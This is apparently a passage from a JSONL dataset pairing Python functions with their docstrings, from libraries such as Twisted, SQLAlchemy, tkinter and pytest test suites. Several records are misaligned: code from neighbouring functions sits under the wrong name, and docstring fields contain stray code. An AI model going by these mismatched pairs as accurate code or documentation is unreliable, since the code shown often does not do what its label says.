self.makeResourceWithContent(b'abc', type=contentType)\n with resource.openForReading() as file:\n resource.makeProducer(request, file)\n self.assertEqual(\n {b'content-length': b'0',\n b'content-range': b'bytes */3',\n b'content-type': b'text/plain'},\n self.contentHeaders(request))\n\n", "nl": "makeProducer when the Range header requests multiple ranges, none ofwhich are satisfiable, sets the Content-* headers appropriately."} {"code": "def is_solved(self, states: List[State]) -> np.ndarray:\n pass\n\n @abstractmethod", "nl": " Returns whether or not state is solved@param states: List of states@return: Boolean numpy array where the element at index i corresponds to whether or not thestate at index i is solved"} {"code": "def _resolve_as_ep(val):\n if val is None:\n return\n parsed = EntryPoint.parse(\"x=\" + val)\n return parsed.resolve()()", "nl": "Load the indicated attribute value, called, as a as if it werespecified as an entry point."} {"code": "def test_lih_tpdm_bb_build():\n lih_file = os.path.join(DATA_DIRECTORY, \"H1-Li1_sto-3g_singlet_1.45.hdf5\")\n molecule = MolecularData(filename=lih_file)\n rdms = molecule.get_molecular_rdm(use_fci=True)\n dim = molecule.n_qubits\n d2aa, d2bb, d2ab = get_sz_spin_adapted(molecule.fci_two_rdm)\n paulis_to_measure = pauli_terms_for_tpdm_bb(dim // 2)\n pauli_to_coeff = {}\n for term in paulis_to_measure:\n qubit_op = pyquilpauli_to_qubitop(term_with_coeff(term, 1.0))\n pauli_to_coeff[term.id()] = rdms.expectation(qubit_op)\n\n tpdm_bb = pauli_to_tpdm_bb(dim // 2, pauli_to_coeff)\n assert np.allclose(tpdm_bb, d2bb)\n\n", "nl": "Check if 2-RDM construction from pauli terms works for the bb spin adaptedblock"} {"code": "def _operations_from_urlspec(urlspec):\n handler_class = urlspec.handler_class\n for r in handler_class.routes:\n matcher = PathMatches(r.get('path_pattern'))\n if matcher.regex == urlspec.regex:\n for http_method in r.get('supported_methods', []):\n method = getattr(handler_class, r.get('call_method'))\n operation_data = yaml_utils.load_yaml_from_docstring(method.__doc__)\n if operation_data:\n operation = {http_method.lower(): operation_data}\n yield operation\n", "nl": "Generator of operations described in the handler's routes list:param urlspec::type urlspec: URLSpec descendant"} {"code": "def es_client():\n er_config = {\n 'model_type': 'resolver',\n \"model_settings\": {\n \"resolver_type\": \"exact_match\",\n }\n }\n resolver = EntityResolverFactory.create_resolver(\n APP_PATH, ENTITY_TYPE, resource_loader=resource_loader,\n es_client=es_client, er_config=er_config\n )\n resolver.fit()\n return resolver\n\n\n@pytest.fixture", "nl": "An Elasticsearch clientreturn create_es_client()@pytest.fixturedef resolver_exact_match(resource_loader, es_client):An entity resolver for 'location' on the Kwik-E-Mart app"} {"code": "def clauses(self):\n return self.clause_expr.element\n", "nl": "Return the underlying :class:`.ClauseList` which containsthe arguments for this :class:`.FunctionElement`."} {"code": "def dff(q, d, clk, reset):\n\n @always(clk.posedge, reset.negedge)", "nl": " D flip-flop.q -- outputd -- inputclock -- clock inputreset -- asynchronous reset input"} {"code": "def assertSwitchState(self, name, state):\n self.assertIn(light_name, self.machine.lights, \"Light {} does not exist\".format(light_name))\n self.assertAlmostEqual(brightness / 255.0, self.machine.lights[light_name].hw_drivers[channel][0].\n current_brightness)\n", "nl": "Assert that a switch exists and has a certain state.self.assertIn(name, self.machine.switches, \"Switch {} does not exist.\".format(name))self.assertEqual(state, self.machine.switch_controller.is_active(self.machine.switches[name]),\"Switch {} is in state {} != {}\".format(name, self.machine.switch_controller.is_active(self.machine.switches[name]), state))def assertLightChannel(self, light_name, brightness, channel=\"white\"):Assert that a light channel has a certain brightness."} {"code": "def apply_over_axes(func, a, axes):\n val = asarray(a)\n N = a.ndim\n if array(axes).ndim == 0:\n axes = (axes,)\n for axis in axes:\n if axis < 0:\n axis = N + axis\n args = (val, axis)\n res = func(*args)\n if res.ndim == val.ndim:\n val = res\n else:\n res = ma.expand_dims(res, axis)\n if res.ndim == val.ndim:\n val = res\n else:\n raise ValueError(\"function is not returning \"\n \"an array of the correct shape\")\n return val\n\nif apply_over_axes.__doc__ is not None:\n apply_over_axes.__doc__ = np.apply_over_axes.__doc__[\n :np.apply_over_axes.__doc__.find('Notes')].rstrip() + \\\n \"\"\"\n\n", "nl": "(This docstring will be overwritten)"} {"code": "def do_type_checking(self, node):\n\n if not isinstance(node.inputs[0].type, GpuArrayType):\n raise NotImplementedError()\n", "nl": "Should raise NotImplementedError if c_code does not supportthe types involved in this node."} {"code": "def isatty(self):\n self._checkClosed()\n return False\n", "nl": "Return whether this is an 'interactive' stream.Return False if it can't be determined."} {"code": "def enaml_sleep():\n if not QT_AVAILABLE:\n pytest.skip(\"Requires a Qt binding\")\n try:\n from enaml.qt.qt_application import QtApplication\n except Exception:\n pytest.skip(\"No Qt binding found: %s\" % format_exc())\n\n app = QtApplication.instance()\n if app is None:\n app = QtApplication()\n yield app\n app.stop()\n else:\n yield app\n\n\n@pytest.fixture", "nl": "Return the time to sleep in s as set by the --enaml-sleep option.return DIALOG_SLEEP@pytest.fixture(scope=\"session\")def qt_app():Make sure a QtApplication is active."} {"code": "def renameCombo(self, combo, name):\n pass\n\n @staticmethod", "nl": "Set the name of a ComboParameters----------combo :name :Returns-------"} {"code": "def _refers_to_parent_table(self):\n pt = self.parent_selectable\n mt = self.child_selectable\n result = [False]\n", "nl": "Return True if the join condition contains columncomparisons where both columns are in both tables."} {"code": "def _locate_roles_and_methods(cls):\n\n roles = {}\n methods = {}\n\n for supercls in cls.__mro__:\n for name, method in vars(supercls).items():\n if not util.callable(method):\n continue\n\n if hasattr(method, \"_sa_instrument_role\"):\n role = method._sa_instrument_role\n assert role in (\n \"appender\",\n \"remover\",\n \"iterator\",\n \"linker\",\n \"converter\",\n )", "nl": "search for _sa_instrument_role-decorated methods inmethod resolution order, assign to roles."} {"code": "def get_pitch_post_processor(self, _):\n return self._set_logger(\n self.get_processor_class('delta')(**self.config['delta']))\n", "nl": "Instanciates and returns a pitch post-processor# fall back to kaldi or crepe post-processor according to configname = 'kaldi_pitch_post'if self.config['pitch']['processor'] == 'crepe':name = name.replace('kaldi', 'crepe')return self._set_logger(self.get_processor_class(name)(**self.config['pitch']['postprocessing']))def get_delta_processor(self, _):Instanciates and returns a delta processor"} {"code": "def devices(self):\n self._realtime = data\n self.last_realtime_call = time()\n", "nl": "List of discovered device names.return self._devicesdef _set_realtime(self, data):Sets the realtime data structure."} {"code": "def test_Connector_Init() -> None:\n with Connector() as connector:\n assert connector._ip_type == IPTypes.PUBLIC\n assert connector._enable_iam_auth is False\n assert connector._timeout == 30\n assert connector._credentials is None\n\n\n@pytest.mark.asyncio", "nl": "Test that Connector __init__ sets default properties properly.connector = Connector()assert connector._ip_type == IPTypes.PUBLICassert connector._enable_iam_auth is Falseassert connector._timeout == 30assert connector._credentials is Noneconnector.close()def test_Connector_Init_context_manager() -> None:Test that Connector as context manager sets default properties properly."} {"code": "def register(cls, schema, resolver):\n cls(schema, 2)(resolver)\n\n @classmethod", "nl": " Register resolver for given schema:param schema: uri schema:param resolver: Callable object that accept one parameter.Example:.. code-block:: pythonimport ptahdef my_resolver(uri):....ptah.resolver.register('custom-schema', my_resolver)# now its possible to resolver 'custom-schema:xxx' uri'sptah.resolve('custom-schema:xxx')"} {"code": "def iterfind(self, path, namespaces=None):\n return ElementPath.iterfind(self, path, namespaces)\n", "nl": "Find all matching subelements by tag name or path.*path* is a string having either an element tag or an XPath,*namespaces* is an optional mapping from namespace prefix to full name.Return an iterable yielding all matching elements in document order."} {"code": "def set_gain(self, gain):\n self.gain = gain\n gaina = gain\n gainb = gain\n\n if self._options.usrp2:\n self.u.set_gain(gain)\n else:\n self.u.set_gain(gain,0)\n self.u.set_gain(gain,1)\n", "nl": "Sets the analog gain in the USRP"} {"code": "def __init__(self, data_packs: Iterable[DataPack]):\n self._data_packs = tuple(\n reversed(\n tuple(\n pack\n for pack in data_packs\n if isinstance(pack, DataPack) and pack.is_valid\n )\n )\n )\n\n @property", "nl": "Construct a new DataPackManager class.:param data_packs: The data packs to load from. Later in the list get higher priority."} {"code": "def to_dict(self):\n Lists all of the database profiles available\n\n Examples\n --------\n No doctest, covered by unittest\n\n list_profiles()\n {'demo': {u'dbname': None,\n u'dbtype': u'sqlite',\n u'filename': u'/Users/glamp/repos/yhat/opensource/db.py/db/data/chinook.sqlite',\n u'hostname': u'localhost',\n u'password': None,\n u'port': 5432,\n u'username': None},\n 'muppets': {u'dbname': u'muppetdb',\n u'dbtype': u'postgres',\n u'filename': None,\n u'hostname': u'muppets.yhathq.com',\n u'password': None,\n u'port': 5432,\n u'username': u'kermit'}}\n \"\"\"", "nl": "Dict representation of the database as credentials plus tables dict representation.db_dict = self.credentialsdb_dict.update(self.tables.to_dict())return db_dictdef list_profiles():"} {"code": "def count(self) -> int:\n return self.all().count()\n", "nl": "Returns an integer representing the total number of model instances.Proxy to the QuerySet.count() method."} {"code": "def set_normal(self):\n\n Constains set of 'pages' (or 'panes') with tabs above for selecting which\n page is displayed. Only one page will be displayed at a time.\n\n Pages may be accessed through the 'pages' attribute, which is a dictionary\n of pages, using the name given as the key. A page is an instance of a\n subclass of Tk's Frame widget.\n\n The page widgets will be created (and destroyed when required) by the\n TabbedPageSet. Do not call the page's pack/place/grid/destroy methods.\n\n Pages may be added or removed at any time using the add_page() and\n remove_page() methods.\n\n \"\"\"\n\n Subclasses must override the _show() and _hide() methods.\n\n \"\"\"", "nl": "Assume normal lookself._place_masks(selected=False)def _init_masks(self):page_set = self.tab_set.page_setbackground = page_set.pages_frame.cget('background')self.mask = Frame(page_set, borderwidth=0, relief=FLAT, background=background)self.mskl = Frame(page_set, borderwidth=0, relief=FLAT, background=background)self.mskl.ml = Frame(self.mskl, borderwidth=self.bw, relief=RAISED)self.mskl.ml.place(x=0, y=-self.bw, width=2 * self.bw, height=self.bw * 4)self.mskr = Frame(page_set, borderwidth=0, relief=FLAT, background=background)self.mskr.mr = Frame(self.mskr, borderwidth=self.bw, relief=RAISED)def _place_masks(self, selected=False):height = self.bwif selected:height += self.bwself.mask.place(in_=self, relx=0.0, x=0, rely=1.0, y=0, relwidth=1.0, width=0, relheight=0.0, height=height)self.mskl.place(in_=self, relx=0.0, x=-self.bw, rely=1.0, y=0, relwidth=0.0, width=self.bw, relheight=0.0, height=height)page_set = self.tab_set.page_setif selected and (not self.is_last_in_row or self.winfo_rootx() + self.winfo_width() < page_set.winfo_rootx() + page_set.winfo_width()):height -= self.bwself.mskr.place(in_=self, relx=1.0, x=0, rely=1.0, y=0, relwidth=0.0, width=self.bw, relheight=0.0, height=height)self.mskr.mr.place(x=-self.bw, y=-self.bw, width=2 * self.bw, height=height + self.bw * 2)self.tab_set.lower()class TabbedPageSet(Frame):A Tkinter tabbed-pane widget."} {"code": "def grad(self, x):\n return self._grad(np.asarray(x))\n", "nl": "rFunction gradient.Parameters----------x : array_likeThe evaluation point. If `x` is a matrix, the function getsevaluated for each column, as if it was a set of independentproblems. Some functions, like the nuclear norm, are only definedon matrices.Returns-------z : ndarrayThe objective function gradient evaluated for each column of `x`.Notes-----This method is required by some solvers."} {"code": "def _key_event(self, name, e):\n key, modifiers = self._key_event('key_press', e)\n self._current_key_event = (key, modifiers)\n", "nl": "Emit an internal generic key event.key = key_info(e)modifiers = get_modifiers(e)self.emit(name, key=key, modifiers=modifiers)return key, modifiersdef keyPressEvent(self, e):Emit an internal `key_press` event."} {"code": "def setDateFormatter(self, dateFormatter):\n entry goes at the top level. If level specified, it must be\n no more than 1 greater than the outline level in the last call.\n\n The key must be the (unique) name of a bookmark.\n the title is the (non-unique) name to be displayed for the entry.\n", "nl": "accepts a func(yyyy,mm,dd,hh,m,s) used to create embedded formatted dateself._doc.setDateFormatter(dateFormatter)def addOutlineEntry(self, title, key, level=0, closed=None):Adds a new entry to the outline at given level. If LEVEL not specified,"} {"code": "def truncate(x, lengths, max_len, eos_index):\n if lengths.max().item() > max_len:\n x = x[:max_len].clone()\n lengths = lengths.clone()\n for i in range(len(lengths)):\n if lengths[i] > max_len:\n lengths[i] = max_len\n x[max_len - 1, i] = eos_index\n return x, lengths\n\n", "nl": "Truncate long sentences."} {"code": "def _tick(bot):\n\n while True:\n config_botalive = bot.get_config_option(\"botalive\") or {}\n\n watermarked = []\n failed = []\n errors = {}\n", "nl": "manage the list of conversation states and update watermarks sequentially:* add/update conversation and watermark intervals dynamically* update the watermarks for conversations that need themdevnote: wrapping loop sleeps for fixed period after everything completes,randomness introduced by fuzzing pauses between conversation watermarks"} {"code": "def split_sections(element):\n", "nl": "Splits an article into sections, treating tables separately.key, article = elementtotal = 0for subkey, section in wiki_utils.split_article(article[\"text\"]):if not section:continuebeam.metrics.Metrics.counter(__name__, \"sections\").inc()new_key = (key, subkey)article[\"text\"] = sectionyield new_key, articletotal += 1beam.metrics.Metrics.distribution(__name__, \"sections_dist\").update(total)class ProcessArticles(beam.PTransform):Read and process a Wikipedia JSONL dump."} {"code": "def _conv2d(channel, kernel, padding, stride, num_sync_bn_devices=-1):\n\n Parameters\n ----------\n channel : int\n Convolution channels for 1x1 conv.", "nl": "A common conv-bn-leakyrelu cellcell = nn.HybridSequential(prefix='')cell.add(nn.Conv2D(channel, kernel_size=kernel,strides=stride, padding=padding, use_bias=False))if num_sync_bn_devices < 1:cell.add(nn.BatchNorm(epsilon=1e-5, momentum=0.9))else:cell.add(gluon.contrib.nn.SyncBatchNorm(epsilon=1e-5, momentum=0.9, num_devices=num_sync_bn_devices))cell.add(nn.LeakyReLU(0.1))return cellclass DarknetBasicBlockV3(gluon.HybridBlock):Darknet Basic Block. Which is a 1x1 reduce conv followed by 3x3 conv."} {"code": "def _count_complex(complex_string):\n counts = set()\n for char in '(,)':\n counts.add(complex_string.count(char))\n if len(counts) != 1:\n msg = (\"Invalid string for list of complex numbers:\"\n \"\\n'%s'\") % complex_string\n raise ValueError(msg)\n return counts.pop()\n\n", "nl": "Returns number of complex numbers in string (formatted according toSeisComp XML schema type \"ComplexArray\"). Raises an Exception if stringseems invalid."} {"code": "def Update(self, request, global_params=None):\n config = self.GetMethodConfig('Update')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n Update.method_config = lambda: base_api.ApiMethodInfo(\n http_method=u'PUT',", "nl": "rUpdates a default object ACL entry on the specified bucket.Args:request: (ObjectAccessControl) input messageglobal_params: (StandardQueryParameters, default: None) global argumentsReturns:(ObjectAccessControl) The response message."} {"code": "def effect_delete(self, name: str):\n data = {\"write\": {\"command\": \"rename\",\n \"animName\": old_name,\n \"newName\": new_name}}\n self.__put(\"effects\", data)", "nl": "Removed the specified effect from the devicedata = {\"write\": {\"command\": \"delete\",\"animName\": name}}self.__put(\"effects\", data)def effect_rename(self, old_name: str, new_name: str):Renames the specified effect saved on the device to a new name"} {"code": "def update_description_dict(mmcif_dict, data_dict):\n\n mmcif_to_data_transfer(mmcif_dict, data_dict,\n \"description\", \"code\", \"entry\", \"id\")\n mmcif_to_data_transfer(mmcif_dict, data_dict,\n \"description\", \"title\", \"struct\", \"title\")\n mmcif_to_data_transfer(\n mmcif_dict, data_dict, \"description\", \"deposition_date\",\n \"pdbx_database_status\", \"recvd_initial_deposition_date\", date=True\n )\n mmcif_to_data_transfer(mmcif_dict, data_dict,\n \"description\", \"classification\", \"struct_keywords\", \"pdbx_keywords\")\n mmcif_to_data_transfer(mmcif_dict, data_dict,\n \"description\", \"keywords\", \"struct_keywords\", \"text\", split=True)\n mmcif_to_data_transfer(mmcif_dict, data_dict,\n \"description\", \"authors\", \"audit_author\", \"name\", multi=True)\n\n", "nl": "Takes a data dictionary and updates its description sub-dictionary withinformation from a .mmcif dictionary.:param dict mmcif_dict: the .mmcif dictionary to read.:param dict data_dict: the data dictionary to update."} {"code": "def get_url_rev_and_auth(cls, url):\n if '://' not in url:\n assert 'file:' not in url\n url = url.replace('git+', 'git+ssh://')\n url, rev, user_pass = super(Git, cls).get_url_rev_and_auth(url)\n url = url.replace('ssh://', '')\n else:\n url, rev, user_pass = super(Git, cls).get_url_rev_and_auth(url)\n\n return url, rev, user_pass\n\n @classmethod", "nl": "Prefixes stub URLs like 'user@hostname:user/repo.git' with 'ssh://'.That's required because although they use SSH they sometimes don'twork with a ssh:// scheme (e.g. GitHub). But we need a scheme forparsing. Hence we remove it again afterwards and return it as a stub."} {"code": "def _formatRoot(self, obj):\n from twisted.web.template import Tag\n\n if isinstance(obj, (bytes, str, unicode)):\n if len(obj) > 40:\n if isinstance(obj, unicode):\n ellipsis = u'<...>'\n else:\n ellipsis = b'<...>'\n return ascii(obj[:20] + ellipsis + obj[-20:])\n else:\n return ascii(obj)\n elif isinstance(obj, Tag):\n if obj.filename is None:\n return 'Tag <' + obj.tagName + '>'\n else:\n return \"File \\\"%s\\\", line %d, column %d, in \\\"%s\\\"\" % (\n obj.filename, obj.lineNumber,\n obj.columnNumber, obj.tagName)\n else:\n return ascii(obj)\n\n", "nl": "Convert an object from C{self._roots} to a string suitable forinclusion in a render-traceback (like a normal Python traceback, butcan include \"frame\" source locations which are not in Python sourcefiles).@param obj: Any object which can be a render step I{root}.Typically, L{Tag}s, strings, and other simple Python types.@return: A string representation of C{obj}.@rtype: L{str}"} {"code": "def is_valid(self):\n\n try:\n self.validate()\n except errors.ValidationError:\n return False\n else:\n return True\n", "nl": "This property will be `True` if there are not validationerrors in this `model` fields. If there are any error thenwill be `False`.This property wraps the :func:`Model.validate` method to beused in a boolean context."} {"code": "def glob(pathname):\n return list(iglob(pathname))\n\n", "nl": "Return a list of paths matching a pathname pattern.The pattern may contain simple shell-style wildcards a la fnmatch."} {"code": "def wall_dimensions(walls):\n\n Given the list of walls, returns the free positions that are closest to the\n bottom left and top right corner. The algorithm starts searching from\n (1, height-2) and (width-2, 1) respectively and uses the Manhattan distance\n for judging what is closest. On equal distances, a smaller distance in the\n x value is preferred.\n \"\"\"", "nl": " Given a list of walls, returns the shape of the maze as a tuple of (width, height)max_elem = max(walls)width = max_elem[0] + 1height = max_elem[1] + 1return (width, height)def initial_positions(walls, shape):Calculate initial positions."} {"code": "def _is_connection_error(self, err):\n if isinstance(err, ProxyError):\n err = err.original_error\n return isinstance(err, ConnectTimeoutError)\n", "nl": " Errors when we're fairly sure that the server did not receive therequest, so it should be safe to retry."} {"code": "def _bind(self, what, sequence, func, add, needcleanup=1):\n\n SEQUENCE is a string of concatenated event\n patterns. An event pattern is of the form\n where MODIFIER is one\n of Control, Mod2, M2, Shift, Mod3, M3, Lock, Mod4, M4,\n Button1, B1, Mod5, M5 Button2, B2, Meta, M, Button3,\n B3, Alt, Button4, B4, Double, Button5, B5 Triple,\n Mod1, M1. TYPE is one of Activate, Enter, Map,\n ButtonPress, Button, Expose, Motion, ButtonRelease\n FocusIn, MouseWheel, Circulate, FocusOut, Property,\n Colormap, Gravity Reparent, Configure, KeyPress, Key,\n Unmap, Deactivate, KeyRelease Visibility, Destroy,\n Leave and DETAIL is the button number for ButtonPress,\n ButtonRelease and DETAIL is the Keysym for KeyPress and\n KeyRelease. Examples are\n for pressing Control and mouse button 1 or\n for pressing A and the Alt key (KeyPress can be omitted).\n An event pattern can also be a virtual event of the form\n <> where AString can be arbitrary. This\n event can be generated by event_generate.\n If events are concatenated they must appear shortly\n after each other.\n\n FUNC will be called if the event sequence occurs with an\n instance of Event as argument. If the return value of FUNC is\n \"break\" no further bound function is invoked.\n\n An additional boolean parameter ADD specifies whether FUNC will\n be called additionally to the other bound function or whether\n it will replace the previous function.\n\n Bind will return an identifier to allow deletion of the bound function with\n unbind without memory leak.\n\n If FUNC or SEQUENCE is omitted the bound function or list\n of bound events are returned.\"\"\"", "nl": "Internal function.if isinstance(func, str):self.tk.call(what + (sequence, func))elif func:funcid = self._register(func, self._substitute,needcleanup)cmd = ('%sif {\"[%s %s]\" == \"break\"} break\\n'%(add and '+' or '',funcid, self._subst_format_str))self.tk.call(what + (sequence, cmd))return funcidelif sequence:return self.tk.call(what + (sequence,))else:return self.tk.splitlist(self.tk.call(what))def bind(self, sequence=None, func=None, add=None):Bind to this widget at event SEQUENCE a call to function FUNC."} {"code": "def test_returnValueNonLocalDeferred(self):\n cause = Deferred()\n @inlineCallbacks", "nl": "L{returnValue} will emit a non-local warning in the case where theL{inlineCallbacks}-decorated function has already yielded a Deferredand therefore moved its generator function along."} {"code": "def get_dict(self):\n return {k: v.get_dict() for k, v in self.base_list.items()}\n", "nl": " Returns each Base class in the objects as a dict in a dict."} {"code": "def test_noSideEffects(self):\n filters = [((\"ignore\", \".*foo.*\"), {}),\n ((\"ignore\", \".*bar.*\"), {})]\n self.runWithWarningsSuppressed(filters, lambda: None)\n warnings.warn(\"ignore foo\")\n self.assertEqual(\n [\"ignore foo\"], [w['message'] for w in self.flushWarnings()])\n\n\n\nclass FancyStrMixinTests(unittest.TestCase):\n \"\"\"\n", "nl": "Once C{runWithWarningsSuppressed} has returned, it no longersuppresses warnings."} {"code": "def get_artists(self, search, start=0, max_items=100):\n return self.get_music_service_information(\"artists\", search, start, max_items)\n", "nl": "Search for artists.See get_music_service_information for details on the arguments"} {"code": "def set_field_value(self, field_name, value):\n author = models.ForeignKey(\n User, blank=True, null=True, related_name=\"sent_updates\")\n sender = models.ForeignKey(\n Object, blank=True, null=True, related_name=\"sent_updates\", on_delete=models.SET_NULL)\n about = models.ManyToManyField(\n Object, blank=True, null=True, related_name=\"updates\")\n recipients = models.ManyToManyField(\n AccessEntity, blank=True, null=True, related_name=\"received_updates\")\n record_type = models.CharField(max_length=32,\n choices=(('create', 'create'), ('update', 'update'),\n ('delete', 'delete'), (\n 'trash', 'trash'),\n ('message', 'message'),\n ('manual', 'manual'), ('share', 'share')))\n url = models.CharField(max_length=512, blank=True, null=True)", "nl": "Sets the value of a given fieldreturn setattr(self, field_name)def set_last_updated(self, last_updated=datetime.now()):self.last_updated = last_updatedself.save()class Revision(models.Model):previous = models.OneToOneField('self', blank=True, null=True, related_name='next')object = models.ForeignKey(Object)change_type = models.CharField(max_length=512, null=True, blank=True)date_created = models.DateTimeField(default=datetime.now)class RevisionField(models.Model):revision = models.ForeignKey(Revision)field_type = models.CharField(max_length=512, null=True, blank=True)field = models.CharField(max_length=512, null=True, blank=True)value = models.TextField(null=True, blank=True)value_key = models.ForeignKey(Object, null=True, blank=True, related_name='revisionfield_key', on_delete=models.SET_NULL)value_m2m = models.ManyToManyField(Object, related_name='revisionfield_m2m')value_key_acc = models.ForeignKey(AccessEntity, null=True, blank=True, related_name='revisionfield_key_acc', on_delete=models.SET_NULL)value_m2m_acc = models.ManyToManyField(AccessEntity, related_name='revisionfield_m2m_acc')class UpdateRecord(models.Model):Update of an Object"} {"code": "def make_url(name_or_url):\n\n if isinstance(name_or_url, util.string_types):\n return _parse_rfc1738_args(name_or_url)\n else:\n return name_or_url\n\n", "nl": "Given a string or unicode instance, produce a new URL instance.The given string is parsed according to the RFC 1738 spec. If anexisting URL object is passed, just returns the object."} {"code": "def init_from_config(config: Coqpit):\n\n You can override this for a different behaviour.\n\n Args:\n assets (dict): A dict of training assets. For `tts` models, it must include `{'audio_processor': ap}`.\n\n Returns:\n Tuple[Dict, Dict]: Test figures and audios to be projected to Tensorboard.\n \"\"\"", "nl": "Initialize model from config.from TTS.utils.audio import AudioProcessorap = AudioProcessor.init_from_config(config)tokenizer = TTSTokenizer.init_from_config(config)speaker_manager = SpeakerManager.init_from_config(config)return BaseTacotron(config, ap, tokenizer, speaker_manager)########################### TEST AND LOG FUNCTIONS ###########################def test_run(self, assets: Dict) -> Tuple[Dict, Dict]:Generic test run for `tts` models used by `Trainer`."} {"code": "def restore(self, val):\n if isinstance(val, dict) and 'typename' in val:\n from_dict = self.convert_from_dict.get(val.pop('typename'))\n return from_dict(val)\n elif isinstance(val, dict):\n return dict((k, self.restore(v)) for k, v in val.items())\n if isinstance(val, (list, tuple, set)):\n return val.__class__([ self.restore(item) for item in val ])\n else:\n return val", "nl": "This is the public restoration method. It will be applied to dictionaryvalues, list items, and the value itself, checking for a `typename` key andapplying the from_dict function of any registered type, or return the valueunchanged if it is not recognized.:param val: the value to be convertedReturns:the restored object for registered objects or the original forunregistered values"} {"code": "def _removeHandlerRef(wr):\n acquire, release, handlers = _acquireLock, _releaseLock, _handlerList\n if acquire and release and handlers:\n acquire()\n try:\n if wr in handlers:\n handlers.remove(wr)\n finally:\n release()\n", "nl": "Remove a handler reference from the internal cleanup list."} {"code": "def wiggleSort(self, nums: List[int]) -> None:\n for i in range(len(nums)-1):\n if (i % 2 == 0 and nums[i] > nums[i+1]) or \\\n (i % 2 == 1 and nums[i] < nums[i+1]):\n nums[i],nums[i+1] = nums[i+1],nums[i]", "nl": "Do not return anything, modify nums in-place instead."} {"code": "def DoAction(self, aname, args):\n result = None\n for m in self.mp.values():\n if aname in [ a.__name__ for a in m.actions ]:\n result = m.DoAction(getattr(m.module, aname), args)\n return result\n", "nl": "Execute action with aname in all the mp where it is enabled,return result from last mp arg"} {"code": "def p_type_import_on_demand_declaration(self, p):\n p[0] = ImportDeclaration(p[3], static=True)\n", "nl": "type_import_on_demand_declaration : IMPORT name '.' '*' ';' p[0] = ImportDeclaration(p[2], on_demand=True)def p_single_static_import_declaration(self, p):single_static_import_declaration : IMPORT STATIC name ';' "} {"code": "def match_fn(self, event, row, old=None):\n", "nl": "Define match criteria other than table/eventdef matches(self, event, row, old=None):if row._table.name != self.table or event not in self.events:return Falseif not self.match_fn(event, row, old):return FalseLOG.debug(\"%s : Matched %s, %s, %s %s\", self.event_name, self.table,event, self.conditions, self.old_conditions)return Trueclass ChassisEvent(row_event.RowEvent):Chassis create update delete event."} {"code": "def testBundleNameStart(self):\n output = self._run_command('start pelix.http.basic')\n\n bundle = self.context.get_bundles()[-1]\n self.assertEqual(bundle.get_state(), Bundle.ACTIVE)\n\n bundle_id = bundle.get_bundle_id()\n self.assertIn(str(bundle_id), output)\n", "nl": "Tests the bundle start feature with:return:"} {"code": "def manual_arp_timeout(self):\n if len(self.ip_helper_addresses) > 0:\n return True\n return False\n\n @property", "nl": "rReturn an integer with the current interface ARP timeout, if there isn't one set, return 0. If there is no IP address, return -1## NOTE: I have no intention of checking self.is_shutdown here## People should be able to check the sanity of interfaces## before they put them into production## Interface must have an IP addr to respondif self.ipv4_addr == \"\":return -1## By default, Cisco IOS defaults to 4 hour arp timers## By default, Nexus defaults to 15 minute arp timersretval = self.re_match_iter_typed(r\"^\\s*arp\\s+timeout\\s+(\\d+)\\s*$\", result_type=int, default=0)return retval@propertydef has_ip_helper_addresses(self):rReturn a True if the intf has helper-addresses; False if not"} {"code": "def teardown_class(cls):\n", "nl": "Tear the tests down.@mock.patch(\"aea.cli.utils.config.try_to_load_agent_config\")@mock.patch(\"aea.cli.push._save_item_locally\")@mock.patch(\"aea.cli.push.push_item\")@mock.patch(\"aea.cli.utils.decorators._check_aea_project\")class PushCommandTestCase(TestCase):Test case for CLI push command."} {"code": "def _point_along_a_line(x0, y0, x1, y1, d):\n dx, dy = x0 - x1, y0 - y1\n ff = d / (dx * dx + dy * dy) ** .5\n x2, y2 = x0 - ff * dx, y0 - ff * dy\n\n return x2, y2\n\n\nclass ArrowStyle(_Style):\n \"\"\"", "nl": "find a point along a line connecting (x0, y0) -- (x1, y1) whosedistance from (x0, y0) is d."} {"code": "def __SetBody(self, http_request, method_config, request, upload):\n request_type = _LoadClass(\n method_config.request_type_name, self.__client.MESSAGES_MODULE)\n util.Typecheck(request, request_type)\n request = self.__client.ProcessRequest(method_config, request)\n\n http_request = http_wrapper.Request(\n http_method=method_config.http_method)\n self.__SetBaseHeaders(http_request, self.__client)\n self.__SetBody(http_request, method_config, request, upload)\n\n url_builder = _UrlBuilder(\n self.__client.url, relative_path=method_config.relative_path)\n url_builder.query_params = self.__ConstructQueryParams(\n method_config.query_params, request, global_params)\n\n if upload is not None:\n upload.ConfigureRequest(upload_config, http_request, url_builder)\n if download is not None:\n download.ConfigureRequest(http_request, url_builder)\n\n url_builder.relative_path = self.__ConstructRelativePath(\n method_config, request, relative_path=url_builder.relative_path)\n self.__FinalizeRequest(http_request, url_builder)\n\n return self.__client.ProcessHttpRequest(http_request)\n", "nl": "Fill in the body on http_request.if not method_config.request_field:returnrequest_type = _LoadClass(method_config.request_type_name, self.__client.MESSAGES_MODULE)if method_config.request_field == REQUEST_IS_BODY:body_value = requestbody_type = request_typeelse:body_value = getattr(request, method_config.request_field)body_field = request_type.field_by_name(method_config.request_field)util.Typecheck(body_field, messages.MessageField)body_type = body_field.type# If there was no body provided, we use an empty message of the# appropriate type.body_value = body_value or body_type()if upload and not body_value:# We're going to fill in the body later.returnutil.Typecheck(body_value, body_type)http_request.headers['content-type'] = 'application/json'http_request.body = self.__client.SerializeMessage(body_value)def PrepareHttpRequest(self, method_config, request, global_params=None,upload=None, upload_config=None, download=None):Prepares an HTTP request to be sent."} {"code": "def replay_sequence(self):", "nl": " Replays the previously rendered data belonging to this sequence.Each time this sequence is rendered, each of its request's rendereddata is saved to a list, which is then replayed, using this function,exactly as it was the first time (using the same dynamic object values)@return: The status code produced by the final request (or None for failure)@rtype : Str"} {"code": "def items(self):\n raise NotImplementedError('Method must be implemented by subclass')\n", "nl": "Return a list of (key, message) tuples. Memory intensive.return list(self.iteritems())def has_key(self, key):Return True if the keyed message exists, False otherwise."} {"code": "def _append_word(self, tokens, target_word, oov_logprob=None):\n", "nl": "Appends a word to each of the given tokens, and updates their scores.:type tokens: list of LatticeDecoder.Tokens:param tokens: input tokens:type target_word: int or str:param target_word: word ID or word to be appended to the existinghistory of each input token; if not an integer, theword will be considered ```` and this variablewill be taken literally as the word that will beused in the resulting transcript:type oov_logprob: float:param oov_logprob: log probability to be assigned to OOV words"} {"code": "def load_bbfile(self, bbfile, appends, virtonly = False, mc=None):\n\n if virtonly:\n (bbfile, virtual, mc) = virtualfn2realfn(bbfile)\n bb_data = 